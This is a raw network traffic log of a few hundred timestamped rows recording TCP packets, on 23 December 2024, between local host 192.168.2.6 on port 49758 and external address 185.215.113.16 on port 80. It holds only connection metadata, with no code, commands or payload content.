Dec 23, 2024 06:53:42.797030926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.797771931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.797941923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.798099995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.798707962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.851562977 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.858004093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.858095884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.858174086 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.858438015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.858537912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.858731031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.859174013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.859286070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.859357119 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.860126019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.860236883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.860282898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.861063957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.861212969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.861258984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.862010956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.862092018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.862137079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.862976074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.863049030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.863099098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.863892078 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.864078045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.864247084 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.864837885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.865015030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.865082026 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.865744114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.865829945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.865879059 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.866674900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.866837025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.867048979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.867660046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.867780924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.867841959 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.868566990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.868675947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.868724108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.869508982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.869616985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.869661093 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.870450974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.870556116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.870610952 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.871433973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.871483088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.871531010 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.872344017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.872417927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.872464895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.873264074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.873436928 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.873487949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.874206066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.874309063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.874361038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.875147104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.875248909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.875339985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.876068115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.876142025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.876180887 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.876998901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.877090931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.877135992 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.877968073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.878081083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.878151894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.878894091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.879030943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.879080057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.879875898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.879971981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.880017996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.880809069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.880907059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.880958080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.881733894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.881819010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.881860971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.882649899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.882759094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.883080006 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.883601904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.883723021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.883779049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.884516001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.884634972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.884676933 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.885416031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.924180031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.924246073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.924245119 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.924417973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.924510002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.924530029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.925355911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.925466061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.925493002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.926302910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.926352024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.926395893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.927239895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.927341938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.927371025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.928178072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.928227901 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.928260088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.929125071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.929235935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.929243088 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.930068016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.930120945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.930150986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.930998087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.931065083 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.931117058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.931946993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.932007074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.932107925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.932962894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.933010101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.933060884 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.933803082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.933861017 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.933953047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.934833050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.934880972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.934904099 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.935663939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.935728073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.982300043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.982429981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.982495070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.982675076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.982795000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.982889891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.983637094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.983767986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.983823061 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.984549046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.984658957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.984709024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.985529900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.985642910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.985992908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.986423016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.986541033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.986702919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.987392902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.987466097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.987520933 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.988408089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.988476992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.988529921 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.989273071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.989396095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.989450932 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:42.990214109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.990293026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:42.990361929 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.050192118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.050291061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.050353050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.050699949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.050826073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.050877094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.051624060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.051733971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.051798105 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.052588940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.052745104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.052788973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.053564072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.053632021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.053674936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.054451942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.054563046 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.054609060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.055380106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.055486917 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.055531025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.056327105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.056442022 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.056534052 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.057277918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.057414055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.057465076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.058211088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.058295965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.058341980 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.059144974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.059271097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.059318066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.060096025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.060411930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.060472012 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.061022997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.061130047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.061245918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.061985970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.062083006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.062135935 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.062992096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.063102961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.063146114 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.063886881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.063970089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.064016104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.064800024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.064941883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.064989090 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.065726995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.065844059 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.065890074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.066643953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.066760063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.066807985 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.067667961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.067703962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.067749977 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.068551064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.068676949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.068726063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.069475889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.069539070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.069586039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.070436001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.070550919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.070599079 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.071377993 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.071469069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.071513891 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.072287083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.072398901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.072444916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.073275089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.073415041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.073462963 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.074157953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.074270964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.074316025 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.075114012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.075325966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.075370073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.076064110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.076159000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.076206923 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.076988935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.077043056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.077090979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.116211891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.116337061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.116573095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.116652012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.116745949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.116795063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.117583990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.117686033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.117752075 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.118541002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.118668079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.118720055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.119538069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.119672060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.119720936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.120408058 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.120496035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.120661020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.121345997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.121440887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.121490002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.122291088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.122390032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.122436047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.123214006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.123332977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.123383045 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.124176979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.124335051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.124377966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.125097036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.125219107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.125268936 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.126071930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.126182079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.126230955 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.126967907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.127084970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.127134085 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.127886057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.174273014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.174343109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.174474001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.174655914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.174705982 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.174866915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.174971104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.175782919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.175822020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.175934076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.176791906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.176826954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.176856995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.176898003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.177711010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.177870035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.177925110 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.178638935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.178715944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.178801060 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.179577112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.179673910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.180495977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.180566072 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.180598021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.180672884 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.181457043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.181521893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.182385921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.182445049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.182450056 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.182483912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.242315054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.242363930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.242432117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.242773056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.242862940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.243490934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.243555069 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.243587017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:43.243630886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:43.244427919 CET	80	49758	185.215.113.16	192.168.2.6
